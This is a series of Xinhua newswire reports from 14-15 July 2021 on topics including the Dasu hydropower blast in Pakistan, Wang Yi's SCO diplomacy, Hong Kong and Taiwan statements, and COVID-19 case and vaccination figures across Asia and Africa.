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KABUL, July 14 (Xinhua) -- A female member of the provincial council of east Afghanistan's Khost province has been released, local media reports said Wednesday.

Zohra Jalal, along with five people, was abducted on a provincial highway in eastern Logar province on Tuesday, according to the reports.

The safe release of the abducted people was secured by efforts of Logar provincial police as well as the mediation of local elders and influential figures, the reports quoted Ahmad Zia Zia, deputy spokesperson of the country's Interior Ministry, as saying.

Jalal was traveling in her official vehicle from the national capital Kabul to Khost province, 150 km southeast of Kabul before being intercepted by armed militants in Logar, south of Kabul. Enditem
Source: Xinhua| 2021-07-14 17:22:50|Editor: huaxia

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DUSHANBE, July 14 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi on Tuesday called on the members of the Shanghai Cooperation Organization (SCO) to enhance cooperation to promote the development and growth of the organization.

The development of the SCO comes to a critical juncture as this year coincides with the 20th anniversary of the organization's founding, Wang said during a joint press meeting here with Tajik Foreign Minister Sirojiddin Muhriddin.

Noting that Tajikistan is the rotating presidency of the SCO, Wang said that the two sides had an in-depth exchange of views on how to promote the development and growth of the SCO.

According to Wang, China has the four proposals as following:

First, to fully explore the contemporary value of the Shanghai Spirit, which features mutual trust, mutual benefit, equality, consultation, respect for diversity of civilizations, and pursuit of common development, Wang said.

According to Wang, the Shanghai Spirit is not only the core concept of the SCO, but also a banner erected by the organization in the world, which has guided the SCO to transcend the differences in social system, history and culture, and set an example of a new type of international relations.

As the world is currently facing the changing situations and the pandemic both unseen in a century, the value of Shanghai Spirit is further highlighted, Wang said, calling on the SCO members to draw spiration from it and continue to guide the development of the SCO.

Second, give full play to security cooperation.

According to Wang, the SCO is committed to maintaining the common security of member states, with combating the "three evil forces" of terrorism, extremism and separatism as core task, takes concrete actions to practice common, integrated, cooperative and sustainable security concepts, and sets up joint exercise mechanism in fields such as military, anti-terrorism, drug control, and cybersecurity, building up the strict and sound law enforcement and security cooperation network.

Wang called on the SCO members to continue to make full use of these cooperation mechanisms to create a sound security environment for the economic and social development of all member countries.

Third, accelerate the arrangement for cooperation to achieve common development.

According to Wang, the SCO has actively carried out all-round practical cooperation, signed important documents such as the Program of Multilateral Trade and Economic Cooperation and the Agreement on Facilitation of International Road Transport, deeply participated in the high-quality joint construction of the Belt and Road, and implemented a large number of strategic projects in areas such as connectivity, economy, trade and investment, and energy and resources.

The SCO members should further synergize development strategies, improve the layout of regional integration, and promote the convergence of mutual interests, he added.

Fourth, continue to play a leading role in open and inclusive regional cooperation.

Preserving and passing on the Silk Road Spirit, the SCO advocates respect for diversity of civilizations, common progress through exchanges and mutual learning, and common development through inclusiveness, Wang said, noting the organization has become the largest and most populous regional organization in the world with eight member states, four observer states and six dialogue partners.

We should make continuous progress in the building of institutions and mechanisms of the SCO, find a path of regional cooperation in line with the trend of the time, and propel the SCO to play a bigger role in regional and international affairs, he said. Enditem
Source: Xinhua| 2021-07-14 17:32:46|Editor: huaxia

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An expert from the Netherlands on international water law has praised China's promise on carbon neutrality, as the country has vowed to attain carbon dioxide emissions peak before 2030 and achieve carbon neutrality before 2060.

Otto Spijkers, professor of China's Wuhan University, made the remarks on the sideline of the Eco Forum Global Guiyang 2021, which opened on Monday in the city of Guiyang, southwest China's Guizhou Province.

Produced by Xinhua Global Service
Source: Xinhua| 2021-07-14 18:05:06|Editor: huaxia

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Photo taken with a mobile phone shows people transferring an injured person to a hospital following a blast in Gilgit city, Pakistan's northwest Khyber Pakhtunkhwa province, July 14, 2021. A blast happened Wednesday in Pakistan's northwest Khyber Pakhtunkhwa province, leaving 12 people including nine Chinese dead, the Chinese Embassy in Pakistan confirmed. (Str/Xinhua)



ISLAMABAD, July 14 (Xinhua) -- A blast happened Wednesday in Pakistan's northwest Khyber Pakhtunkhwa province, leaving 12 people including nine Chinese dead, the Chinese Embassy in Pakistan confirmed.

At around 7:00 a.m. local time, the shuttle vehicles of the Dasu Hydropower Project for which a Chinese company was contracted to build, were hit by a blast when they were heading towards the construction site, the embassy said in a statement, adding that the Pakistani side is investigating into the incident.

After the blast, the embassy immediately activated the emergency response plan, and contacted the Pakistani military and Pakistani government departments including the foreign ministry and interior ministry, asking the Pakistani side to conduct rescue and treatment work at all costs, enhance the security guarantee for the Chinese institutions, projects and personnel in Pakistan, and find out the truth of the incident as soon as possible, according to the statement.

The Pakistani military organized and started the rescue work immediately after the blast and dispatched helicopters to transfer the injured, the statement added. Enditem
Source: Xinhua| 2021-07-14 18:21:55|Editor: huaxia

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Photo taken on July 14, 2021 shows the books exhibited on the 31st Hong Kong Book Fair in Hong Kong, south China. The 31st Hong Kong Book Fair, which was postponed for a year due to COVID-19, opened here Wednesday when more than 700 exhibitors showcased a wide range of books and literary products. Organized by the Hong Kong Trade Development Council (HKTDC), the largest annual literary event in the financial hub was themed Inspirational and Motivational Reading this year, with a tagline "Reading the World - Inspiring the Mind and Refreshing the Soul". (Xinhua/Wu Xiaochu)

HONG KONG, July 14 (Xinhua) -- The 31st Hong Kong Book Fair, which was postponed for a year due to COVID-19, opened here Wednesday when more than 700 exhibitors showcased a wide range of books and literary products.

Organized by the Hong Kong Trade Development Council (HKTDC), the largest annual literary event in the financial hub was themed Inspirational and Motivational Reading this year, with a tagline "Reading the World - Inspiring the Mind and Refreshing the Soul".

Carrie Lam, chief executive of the Hong Kong Special Administrative Region, officiated at the opening ceremony, saying that reading could promote positive energy and was a good way to reduce stress, especially in the post-epidemic period.

Although the first day of this year's book fair was not as crowded as in previous years, people's enthusiasm for buying books was not dampened.

"My sons are having summer holidays, which, I think, it's a good time to cultivate their interests in reading," said Candy Tong, who went to the book fair with her two primary school kids.

Fai Lo, in his sixties, bought some Chinese storybooks at the fair for his 10-year-old granddaughter, hoping to raise her reading ability. He told the reporter that the fair always offered a better deal.

The week-long event was more than just a trading platform, it also presented a wide array of cultural activities online and offline. Renowned authors from around the world were invited to share their writing experiences, for instance.

There were different exhibitions at the book fair, including one that introduced some inspirational local authors and their selected works, and another one showcased portraits, photographs and stamps of Bruce Lee to pay tribute to the international martial art movie star.

To reduce the risk of the epidemic, a number of preventive measures were taken by the organizer, such as all exhibitors and staff members were required to be fully vaccinated or provide proof of negative COVID-19 testing results.

The Hong Kong Book Fair celebrated its 30th anniversary in 2019, attracting about 980,000 visitors. Enditem
Source: Xinhua| 2021-07-14 18:34:58|Editor: huaxia

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HONG KONG, July 14 (Xinhua) -- The Office of the Commissioner of the Chinese Foreign Ministry in the Hong Kong Special Administrative Region (HKSAR) on Wednesday strongly disapproved and firmly opposed the remarks made by the U.S. State Department spokesperson Ned Price at a press briefing, which smeared the national security law in the HKSAR and the rule of law of Hong Kong, attacked the business environment of Hong Kong without justification, and grossly interfered in Hong Kong affairs and China's internal affairs at large.

"We urge the U.S. side to immediately stop its misleading political theater and immediately stop wrong acts that damage the mutually beneficial economic and trade relations between China and the United States," the spokesperson of the office said.

The national security law marks a historic turning point of Hong Kong from chaos to stability and opens a new chapter of sound governance in Hong Kong, and it has effectively safeguarded national security, upheld the rule of law, ensured social stability, and created a strong sense of security for Hong Kong people, the spokesperson said.

Under the national security law, the lawful rights and freedoms of Hong Kong residents are better protected, and foreign investors in Hong Kong now enjoy a more secure, stable and predictable business environment, the spokesperson said, noting that it serves the fundamental well-being of Hong Kong residents and the common interest of international stakeholders, including U.S. enterprises stationed in Hong Kong.

The spokesperson pointed out that the U.S. side confounded black and white by smearing the national security law in the HKSAR and Hong Kong's business environment, and its purpose is to mislead U.S. and other international enterprises in Hong Kong.

All this reflected that the sight of a well-developed and sound-governed Hong Kong stings the United States, and it also laid bare the malicious agenda of the United States to contain China's development by playing the "Hong Kong card," the spokesperson said.

The spokesperson said that no threats, intimidation, or pressure from the United States can shake China's firm resolve to safeguard the national sovereignty, security and development interests, nor can it stop the historical trend of the steady and sustained implementation of "one country, two systems". All Chinese people, including Hong Kong compatriots, will never be pushed around.

"We believe that visionary people around the world will remain clear-eyed, see through the tricks of the U.S. side, and make the right choice," the spokesperson said.

The spokesperson stressed Hong Kong belongs to China and that Hong Kong affairs are purely China's internal affairs.

"We once again urge the U.S. side to abide by international law and the basic norms governing international relations, abandon its wishful thinking of disrupting Hong Kong and China as a whole, and immediately stop interfering in Hong Kong affairs and China's internal affairs at large in any form," the spokesperson said. Enditem
Source: Xinhua| 2021-07-14 18:44:25|Editor: huaxia

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ISLAMABAD, July 14 (Xinhua) -- The Chinese Embassy in Pakistan strongly condemned a blast that happened Wednesday morning in Pakistan's northwest Khyber Pakhtunkhwa province, leaving nine Chinese nationals and three Pakistanis dead.

At around 7:00 a.m. local time, the shuttle vehicles of the Dasu Hydropower Project for which a Chinese company was contracted to build, were hit by a blast when they were heading towards the construction site, the embassy said in a statement, adding that the Pakistani side is investigating into the incident.

After the blast, the embassy immediately activated the emergency response plan, and contacted the Pakistani military and Pakistani government departments including the foreign ministry and interior ministry, asking the Pakistani side to conduct the rescue and treatment work at all costs, enhance the security guarantee for the Chinese institutions, projects and personnel in Pakistan, and find out the truth of the incident as soon as possible, according to the statement.

The Pakistani military organized and started the rescue work immediately after the blast and dispatched helicopters to transfer the injured, the statement added.

The embassy expressed deep condolences to the dead and sincere sympathy to the injured in the blast, according to the statement.

Pakistani officials said the blast happened in the Upper Kohistan district of the province, and over 30 were injured in the incident.

Assistant Commissioner of Dasu area of the district, Asim Abbasi told Xinhua that the death toll might further rise because several of the injured were in critical condition.

Deputy Commissioner of the district Muhammad Arif told media that the seriously injured have been airlifted to hospitals with better facilities in the province, adding that the security forces have cordoned off the area and launched a search operation.

No group or individual has claimed the blast yet. Enditem
Source: Xinhua| 2021-07-14 18:44:56|Editor: huaxia

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Israeli President Isaac Herzog (L) and the UAE's (United Arab Emirates) Ambassador to Israel Mohamed Al Khaja attend the opening ceremony of the UAE embassy in Israeli's Tel Aviv on July 14, 2021. The UAE opened an embassy in Israeli's financial capital of Tel Aviv on Wednesday, less than a year after the two countries normalized ties. The venue is located in Israel's new stock exchange building in downtown Tel Aviv. (Photo by Gil Cohen Magen/Xinhua)



JERUSALEM, July 14 (Xinhua) -- The United Arab Emirates opened an embassy in Israeli's financial capital of Tel Aviv on Wednesday, less than a year after the two countries normalized ties.

The venue is located in Israel's new stock exchange building in downtown Tel Aviv.

At the opening ceremony, new Israeli President Isaac Herzog hailed the move as "an important milestone in our shared journey toward a future of peace, prosperity and security in the Middle East."

Herzog said his country wishes that the "historic agreement" with the UAE would be "extended to other nations seeking peace with Israel."

The UAE's Ambassador to Israel Mohamed Al Khaja said the inauguration is "an important milestone in the growing relationship between our two countries."

"The UAE and Israel are both innovative nations. We can harness this creativity to work towards a more prosperous and sustainable future for our countries and our region," he said.

The move came after Israel opened its embassy in Abu Dhabi during a visit by Israeli Foreign Minister Yair Lapid in June. It was the first visit by a senior Israeli diplomat to the UAE.

Israel and the UAE signed a U.S.-brokered normalization deal in September 2020. The UAE is one of four Muslim-majority countries that agreed to normalize ties with Israel last year. The other three are Bahrain, Sudan and Morocco. Enditem
Source: Xinhua| 2021-07-14 19:23:17|Editor: huaxia

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Aerial photo taken on July 13, 2021 shows terraced fields where highland vegetables are cultivated in Anding District of Dingxi, northwest China's Gansu Province. Taking advantage of the cool summer climate in Dingxi, a plateau city in northwest China, local farmers have been encouraged to plant more than 20 varieties of highland vegetables. By successfully selling these vegetables to the country's coastal provinces, the local highland vegetable businesses have proven a key industry that boosts rural income growth. (Xinhua/Ma Xiping)
Source: Xinhua| 2021-07-14 19:39:48|Editor: huaxia

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MONTEVIDEO, July 13 (Xinhua) -- Structural reforms promoted by the Communist Party of China (CPC) have led to a substantial uplifting of the people's well-being in China, said Javier Miranda, president of Uruguay's Broad Front (FA) party.

"The transformation that China achieved is staggering. It is not a gratuitous miracle, but the result of the long-term planning and continuous efforts of the CPC," said the leader.

China's economic growth, and investment in research and development "are means established and developed through hard work and unremitting efforts to make people's lives better," Miranda said.

"From COVID-19 prevention and control to poverty alleviation, the CPC has united and led the Chinese people to make unparalleled achievements, all of which are inseparable from the CPC's original aspiration of seeking happiness for the people. I am confident that the CPC will unite and lead the Chinese people to make even greater achievements," Miranda said.

As the global epidemic situation remains grim, China's success in epidemic prevention and control cannot be separated from the resolute decisions and deployment of the CPC, he said, speaking highly of China's efforts to promote COVID-19 vaccines as global public goods.

"China's commitment to protect its population and global health, by producing vaccines and making them accessible, is an outstanding decision," he said.

In 2017, Miranda visited southwest China's Yunnan province and the Nu River communities to see how poverty alleviation policies were being implemented.

"One villager I met there had a son, who is now studying in a university and that is amazing. This is a clear example of what policies to eradicate poverty mean," Miranda said.

This year marks the centenary of the founding of the CPC. Miranda, on behalf of the FA, extended warm congratulations and said the CPC has the spirit of self-innovation, which is essential for it to maintain vigorous vitality all the time.

Miranda said he believes that cooperation with China is of great importance to Uruguay. He said that investment from China has helped Uruguay create many jobs, and China has provided Uruguay a lot of support in COVID-19 vaccine supply. The two countries, he believes, will further strengthen cooperation in many aspects in the future. (Video reporters: Ni Ruijie, Yu Lizhen; video editors: Hong Yan, Jiang Hanzhang)
Source: Xinhua| 2021-07-14 20:08:36|Editor: huaxia

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SANYA, July 14 (Xinhua) -- A new vessel has embarked to carry out maritime rescue operation off the Nansha Islands in south China's Hainan Province.

The South China Sea Rescue 116 vessel, dispatched by Nanhai Rescue Bureau, departed on Tuesday morning from the port in the city of Sanya carrying the 13th group of rescue forces.

Maritime rescue vessels dispatched by this bureau have carried out 43 rescue missions around the Nansha Islands and reefs since July 27, 2018, rescuing 194 people, 11 ships, and property worth about 858 million yuan (about 132 million U.S. dollars), said Jiang Deliang, director of the Nanhai Rescue Bureau.

In summer and autumn, Nansha Islands are likely to encounter typhoons -- even possibly catastrophic ones. Experienced rescuers have been sent to the area to ensure the safety of maritime transport during this period.

The Nanhai Rescue Bureau, established in 2003, is one of China's professional rescue organizations. It is affiliated with the Ministry of Transport. Enditem
Source: Xinhua| 2021-07-14 20:11:00|Editor: huaxia

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YAOUNDE, July 14 (Xinhua) -- One construction worker was killed and 26 others injured when a building under construction collapsed on Wednesday in Cameroon's commercial hub Douala, according to local authorities.

Firefighters have responded to the collapse, which occurred at about 10:30 a.m. local time at the Akwa neighbourhood of the city, local officials said.

Witnesses told Xinhua the building collapsed as the workers were trying to construct a deck for the six-story-building.

All those injured have been rushed to the hospital to receive medical attention. Three of the 26 injured construction workers sustained "life-threatening" injuries, local officials said. Enditem
Source: Xinhua| 2021-07-14 20:27:46|Editor: huaxia

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BEIJING, July 14 (Xinhua) -- A recent deal between Taiwan and mainland firms on purchases of BioNTech COVID-19 vaccines has given hope to the island's epidemic control.

However, Taiwan's Democratic Progressive Party (DPP) authority and some Western media portrayed it as a move breaking through the so-called "mainland's blocking," completely disregarding the fact that the mainland has expressed willingness to help since the very onset of the island's serious outbreak in May.

The mainland offered to provide mainland-made vaccines recognized by the World Health Organization (WHO) and promised to support Taiwan people in using BioNTech vaccines, which Shanghai-based Fosun Pharma participated in the development and commercialized in China.

The mainland also showed its sincerity by offering to dispatch epidemic control experts to Taiwan.

Unfortunately, the DPP authority repeatedly rejected the goodwill.

On one hand, the DPP authority claimed that the mainland "blocked Taiwan's deal" of buying vaccines. On the other hand, it spared no effort in obstructing Taiwan people from obtaining vaccines from the mainland.

Fosun Pharma has been licensed by BioNTech to exclusively develop and commercialize COVID-19 vaccines based on its mRNA technology platform in the Chinese mainland, Hong Kong Special Administrative Region, Macao Special Administrative Region and Taiwan region.

The DPP authority, however, insisted on circumventing Fosun to buy vaccines from the German firm, which violated business rules and served nothing but political interests.

The irony is that Taiwan's epidemic monitoring agency chief Chen Shih-chung has recently changed his tone. Chen admitted that Taiwan is within the scope of Fosun's exclusive rights to sell BioNTech vaccines and the deal deserves due respect.

If the DPP authority had stopped political interference last October, Taiwan enterprises would have been authorized through negotiation to distribute 30 million doses of BioNTech vaccines. Vaccination might have begun early this year, saving many lives. It was only the DPP to blame.

There are many other WHO-approved vaccines available on the market, such as the ones developed by AstraZeneca, Johnson & Johnson and Moderna, but the DPP did not work actively in vaccine procurement until it was too late.

Yet, it decided to shift the blame on the mainland.

Driven by their ideological bias, some Western media have ignored these obvious facts.

However, the failure of epidemic control cannot be covered up by lies and the people cannot be fooled by rumors.

The DPP authority should immediately stop gambling on the lives and health of Taiwan people, and make concrete efforts instead to safeguard the health and wellbeing of Taiwan compatriots. Enditem
Source: Xinhua| 2021-07-14 20:34:57|Editor: huaxia

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CAIRO, July 14 (Xinhua) -- Egyptian President Abdel Fattah al-Sisi said on Wednesday that his country will help promote the political path in Lebanon to restore its stability, the presidential office said in a statement.

"Egypt will boost efforts in forming a new cabinet in Lebanon and settling any differences to get the country out of suffering, put Lebanese national interest first, and safeguard the people's unity," Sisi said in a meeting with visiting Lebanese Prime Minister-designate Saad Hariri.

Foreign Minister Sameh Shoukry and head of the General Intelligence Service Abbas Kamel also attended the meeting.

Highlighting the strong relationship between the two peoples on the basis of integrity, Hariri hailed "Egypt's essential role in maintaining stability in Lebanon and the whole region."

The meeting discussed the political situation in Lebanon, means of enhancing bilateral cooperation and the regional development, according to the statement. Enditem
Source: Xinhua| 2021-07-14 20:52:06|Editor: huaxia

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BEIJING, July 14 (Xinhua) -- A Chinese mainland spokesperson on Wednesday voiced strong opposition to Japan's recent erroneous moves concerning Taiwan-related issues, and urged Japan to remedy negative effects through concrete steps.

Zhu Fenglian, a spokesperson for the Taiwan Affairs Office of the State Council, made the remarks while responding to a press inquiry concerning Japan's mention of Taiwan in its recently released defense white paper.

Japan's recent moves have seriously breached the four political documents between China and Japan as well as the one-China principle, sent erroneous signals to separatist forces seeking "Taiwan independence," and negatively affected peace and stability across the Taiwan Strait, said Zhu.

Reminding Japan of the sufferings it historically inflicted on the region, Zhu urged the Japanese side to take the Chinese mainland's stance on Taiwan seriously, reflect on history, and immediately address its fallacy. Enditem
Source: Xinhua| 2021-07-14 21:13:53|Editor: huaxia

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Wang Yang, a member of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference, attends a meeting organized by the United Front Work Department of the CPC Central Committee in Beijing, capital of China, July 14, 2021. Senior members of non-communist parties and prominent individuals without party affiliation put forward proposals on fostering a new development paradigm in China at the meeting. (Xinhua/Li Tao)

BEIJING, July 14 (Xinhua) -- Senior members of non-communist parties and prominent individuals without party affiliation put forward proposals on fostering a new development paradigm in China at a meeting attended by top political advisor Wang Yang on Wednesday.

It is of immense significance that members of non-communist parties and people without party affiliation study and offer ideas on how to foster a new development paradigm in China in the first year of the country's 14th five-year development plan (2021-2025), said Wang, a member of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference.

Wang encouraged them to have a good understanding of major policies issued by the CPC Central Committee and address difficult and major problems, based on unique advantages of each party and group.

Proposals were put forward about various development topics including the development and opening-up of the country's border regions, integration of the domestic market, and the use of digital technologies in enterprises.

The meeting was organized by the United Front Work Department of the CPC Central Committee. Enditem
Source: Xinhua| 2021-07-14 21:14:55|Editor: huaxia

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DUSHANBE, July 14 (Xinhua) -- China will continue to firmly support and help Tajikistan in its fight against the COVID-19 pandemic, and deepen practical cooperation between the two countries, especially cooperation on jointly building the Belt and Road, Chinese State Councilor and Foreign Minister Wang Yi said on Tuesday.

Wang made the remarks during a meeting with Tajik President Emomali Rahmon.

Under the guidance and promotion of the two country's presidents, China-Tajikistan relations are at a historic level, Wang said.

China regards Tajikistan as a trustworthy brother and reliable partner, Wang said, adding that as the international situation is undergoing profound and complex changes, the two sides should firmly support each other in safeguarding their core interests and guard against interference and sabotage by external forces.

Tajik's strong support for China on issues concerning China's core interests is also defending international fairness, justice and basic norms governing international relations, Wang said.

China will, as always, firmly support Tajikistan's domestic and foreign policies and Tajikistan's efforts to safeguard national sovereignty and security, he said.

Noting that next year will mark the 30th anniversary of the establishment of diplomatic ties between China and Tajikistan, Wang said new opportunities will open up for further development of bilateral ties.

China is ready to work with Tajikistan to continuously consolidate political mutual trust, deepen cooperation in various fields, build a high-quality and deep common development community and an unbreakable security community, safeguard the common interests of the two countries, and contribute to regional peace and development, Wang said.

The two sides should focus on the post-epidemic era, speed up the docking of their development strategies, expand cooperation in such emerging areas as high-tech, high-end manufacturing and digital economy, and implement a number of new large-scale projects that will generate a demonstration effect, Wang said.

As the situation in Afghanistan is rapidly evolving, China and Tajikistan should carry out more substantial security cooperation, fend off together risks and challenges, and jointly guard against external interference, he said.

China appreciates the tremendous work Tajikistan has done to promote the development of the Shanghai Cooperation Organization (SCO) during its rotating presidency, and supports Tajikistan in hosting a successful summit on the occasion of the 20th anniversary of the SCO's founding, Wang added.

During the meeting, Rahmon asked Wang to convey his sincere greetings to President Xi Jinping and warmly congratulated the 100th anniversary of the founding of the Communist Party of China (CPC).

Rahmon expressed confidence that under the leadership of the CPC, the Chinese people will surely make new and greater achievements.

As comprehensive strategic partners and close neighbors, Tajikistan and China have continued to promote high-level cooperation in political, economic and cultural fields, Rahmon said, adding that the bilateral security cooperation has also yielded fruitful results.

The Tajik side is ready to deepen mutually beneficial cooperation with China in all respects with various forms, he said.

The president noted that the COVID-19 pandemic is a common challenge for all mankind, adding that as the most successful country battling the pandemic, China has made major contributions to world public health and the global anti-pandemic fight.

Rahmon thanked China for providing all-out assistance to his country in the anti-pandemic battle, and said he hopes to further boost bilateral cooperation on vaccine and in other fields.

Tajikistan is ready to strengthen cooperation with China under the framework of the Belt and Road Initiative, especially in the fields of agriculture, interconnectivity and major projects, he said.

The two sides will continue to jointly combat the "three evil forces," cross-border organized crimes and cyber crimes, so as to deepen their strategic partnership in the security field, Rahmon said.

He said Tajikistan appreciates the Chinese side for supporting its work of assuming the rotating presidency of the SCO, and is ready to work with China to promote the development of the SCO, coordinate closely on the Afghan issue, and jointly safeguard regional peace and security. Enditem
Source: Xinhua| 2021-07-14 22:34:05|Editor: huaxia

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by Wu Junyi

HONG KONG, July 14 (Xinhua) -- Asia-Pacific countries are ramping up the COVID-19 vaccination campaigns as many of them have been battling with surging cases and sparing no effort to contain the pandemic.

India's COVID-19 tally rose to 30,946,074 on Wednesday with the death toll standing at 411,408.

India's nationwide vaccination drive started on Jan. 16, and the government aims to vaccinate the entire population by the end of this year.

So far over 387 million doses have been administered across the country, the health ministry's data showed on Wednesday.

The Philippines' Department of Health (DOH) reported on Wednesday that the total number of confirmed cases in the Southeast Asian country rose to 1,485,457 and the death toll climbed to 26,232.

As of Tuesday, the DOH said it had administered more than 13.8 million doses of vaccines, with more than 3.9 million people having been fully vaccinated so far. The DOH aims to vaccinate up to 70 million people this year.

China was the first to deliver coronavirus vaccines to the Philippines. It donated the first batch of Sinovac vaccine CoronaVac to the Philippines on Feb. 28, allowing the country to kick off its vaccination drive on March 1.

In Pakistan, the National Command and Operation Center (NCOC), a department leading the country's campaign against the pandemic, said on Wednesday that the country's number of overall cases rose to 978,847 with the death toll standing at 22,642.

Pakistan started its COVID-19 vaccination drive in February this year after receiving vaccines donated by China. With more donations from China as well as the Sinopharm, Sinovac and CanSino COVID-19 vaccines it had purchased from China, Pakistan has been immunizing its population against COVID-19.

According to the NCOC, Pakistan plans to inoculate 100 million eligible people for vaccination in its total population of over 220 million by mid-2022. So far, the country has administered a total of 21,076,550 COVID-19 vaccine doses, with 4,209,460 people fully vaccinated.

Malaysia reported 11,618 new COVID-19 infections in the highest daily spike since the outbreak, bringing the national total to 867,567, the Health Ministry said on Wednesday, adding the death toll rose to 6,503.

As of Tuesday, the country has administered over 12 million jabs with over 8 million individuals having been given at least one dose.

In Japan, the capital Tokyo reported 1,149 new COVID-19 cases on Wednesday with the Olympics scheduled to open there on July 23. So far, a total of over 820,000 cases have been reported in the country.

Prime Minister Yoshihide Suga's government is stepping up the vaccination rollout in Japan. The program started in February with health care workers being prioritized and was later expanded to those aged 65 or older in April. Recently, inoculations for people under 65 have begun in some municipalities, and companies can apply vaccines for their employees.

The health ministry has decided to reduce COVID-19 vaccine supplies to some municipalities that are judged to have adequate inventories.

Nepal is now gripped by a second wave of the coronavirus with a total of 660,788 cases and 9,430 deaths.

Due to a short supply of vaccines, Nepal has managed to administer single dose to only 2.61 million of its 30 million nationals as of Sunday, while just 1.04 million people have received two doses, according to the country's Ministry of Health and Population.

Thailand has recorded 363,029 COVID-19 cases as of Wednesday with 2,934 deaths.

The country decided on Monday to adjust its COVID-19 vaccination policy by mixing Sinovac vaccine with AstraZeneca vaccine, intending to enhance immunity against the virus amid rising new infections.

As of Sunday, Thailand had administered more than 12.5 million doses of vaccine, with less than 5 percent of its nearly 70 million people fully vaccinated.

The country has approved plans to purchase more COVID-19 vaccines, including Pfizer, Sinovac and Moderna.

Sri Lanka has to date recorded 277,519 cases while 3,574 deaths have been reported.

The country has inoculated over 4 million doses of the COVID-19 vaccines with a majority receiving China's Sinopharm vaccines.

South Korea's total number of COVID-19 infections and the death toll rose to 171,911 and 2,048, respectively, on Wednesday.

Since the mass vaccination was launched on Feb. 26, the country has administered COVID-19 vaccines to a total of 15,724,463 people with 6,058,350 fully vaccinated.

In Cambodia, Wednesday's new COVID-19 infections pushed the national total caseload to 63,615, the health ministry said, with the death toll standing at 986.

Cambodian Prime Minister Samdech Techo Hun Sen said Tuesday that 5 million people in the Southeast Asian nation have received at least one dose of COVID-19 vaccine.

The nation launched a vaccination drive on Feb. 10, with China being the key vaccine supplier.

Cambodia on July 8 wrapped up its COVID-19 vaccination drive in Phnom Penh after 2.12 million people, or 99 percent of the capital's adult population, have completed the two-dose inoculation.

In Australia, 31,431 confirmed cases of COVID-19 have been reported as of Wednesday afternoon.

Australian Prime Minister Scott Morrison blamed the expert panel on immunizations for the country's slow coronavirus vaccine rollout on Wednesday when the state of New South Wales announced to extend the lockdown on the Greater Sydney area for at least another two weeks.

Morrison said that "very cautious" decisions by the Australian Technical Advisory Group on Immunisation had "considerably" slowed the rollout.

Minister for Health Greg Hunt said on Monday that the country has administered over 9 million doses of vaccines. Enditem
Source: Xinhua| 2021-07-15 00:02:14|Editor: huaxia

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BANGKOK -- Thailand plans to set a limit on its exports of locally-manufactured AstraZeneca COVID-19 vaccines to meet domestic demand as the country is struggling to contain a months-long surge in infections, a senior official said Wednesday,

The Disease Control Department and the National Vaccine Institute (NVI) have agreed to impose a quota on the exports of AstraZeneca vaccine manufactured in Thailand by Siam Bioscience Co., NVI director Nakorn Premsri said at a press conference. (Thailand-Vaccine-Export limit)

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KUALA LUMPUR -- Malaysia reported 11,618 new COVID-19 infections in the highest daily spike since the outbreak, bringing the national total to 867,567, the Health Ministry said on Wednesday.

Health Ministry Director-General Noor Hisham Abdullah said in a press statement that 26 of the new cases are imported and 11,592 are local transmissions. (Malaysia-COVID-19)

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HANOI -- Vietnam on Wednesday reported a new high of 2,934 daily COVID-19 infections, surpassing the previous record of 2,383 cases on Monday, according to the country's Ministry of Health.

The infections included 2,924 locally transmitted and 10 imported, bringing the total tally to 37,434, the ministry said. (Vietnam-COVID-19)

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ISLAMABAD -- The Chinese Embassy in Pakistan strongly condemned a blast that happened Wednesday morning in Pakistan's northwest Khyber Pakhtunkhwa province, leaving nine Chinese nationals and three Pakistanis dead.

At around 7:00 a.m. local time, the shuttle vehicles of the Dasu Hydropower Project for which a Chinese company was contracted to build, were hit by a blast when they were heading towards the construction site, the embassy said in a statement, adding that the Pakistani side is investigating into the incident. (Pakistan-Blast-Chinese)

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JAKARTA -- Indonesia on Wednesday recorded 54,517 newly-confirmed cases of COVID-19 in the past 24 hours, marking the highest daily spike and bringing the total tally to 2,670,046, the Health Ministry said.

The ministry also reported that the COVID-19-related death toll added by 991 to 69,210. (Indonesia-COVID-19) Enditem
Source: Xinhua| 2021-07-15 00:05:17|Editor: huaxia

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RABAT, July 14 (Xinhua) -- Morocco on Wednesday reported 2,257 new COVID-19 cases, taking the total tally in the North African country to 547,273.

The total number of recoveries from COVID-19 in Morocco increased to 527,256 after 1,088 new ones were added, the Ministry of Health said in a statement.

The death toll rose to 9,404 with nine new fatalities added during the last 24 hours, while 385 people were treated in the intensive care units.

The COVID-19 fatality rate in Morocco stands at 1.7 percent while the recovery rate is 96.3 percent.

A total of 10,854,278 people have received so far the first vaccine shots against COVID-19 in the country, while 9,489,591 have received both doses.

Morocco launched a nationwide vaccination campaign on Jan. 28 after the arrival of the first shipment of China's Sinopharm vaccines. Enditem
Source: Xinhua| 2021-07-15 01:09:32|Editor: huaxia

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NAIROBI, July 14 (Xinhua) -- Kenyan President Uhuru Kenyatta who is also the chairman of the African Leaders Malaria Alliance (ALMA) on Wednesday endorsed the appointment of two special envoys to help hasten the fight against malaria on the continent.

The two nominees of ALMA, Anthony Okara (Kenya) and Sheila Tlou (Botswana) were endorsed and commissioned by Kenyatta in Nairobi during a virtual meeting convened to receive ALMA's 2021 first and second quarter performance report.

"I congratulate the ALMA secretariat for keeping the fire burning in the fight against malaria despite the challenges brought about by COVID-19 pandemic," Kenyatta said in a statement issued in Nairobi.

The Alliance is a coalition of African Heads of State and Government advancing advocacy efforts, resource mobilization and accountability in the fight against malaria across Africa.

As part of their broad mandate, the envoys have been tasked to work with the continent's regional economic communities to prioritize the fight against malaria in their programming.

Kenyatta applauded ALMA for the progress made towards the establishment of a digital malaria repository for the continent saying the database will assist African nations to share best practices.

He expressed satisfaction that his stated agenda of digitization, adoption of country scorecards and the establishment of 15 multi-sectoral 'End Malaria' councils was on track.

He particularly commended ALMA for the growing involvement of Africa's youth in the fight against the tropical disease and called for the establishment of a continental 'youth army' to boost anti-malaria efforts.

"We need to involve the youth to ensure we are able to keep our agenda of eradicating malaria on course despite the COVID-19 pandemic," he said.

Kenyatta commended ALMA saying the organization's efforts had led to the increasing adoption of anti-malaria scorecards by African nations.

The ALMA scorecard for accountability and action tracks malaria as well as reproductive, maternal, newborn, child and adolescent health and neglected tropical diseases indicators on the continent. Enditem
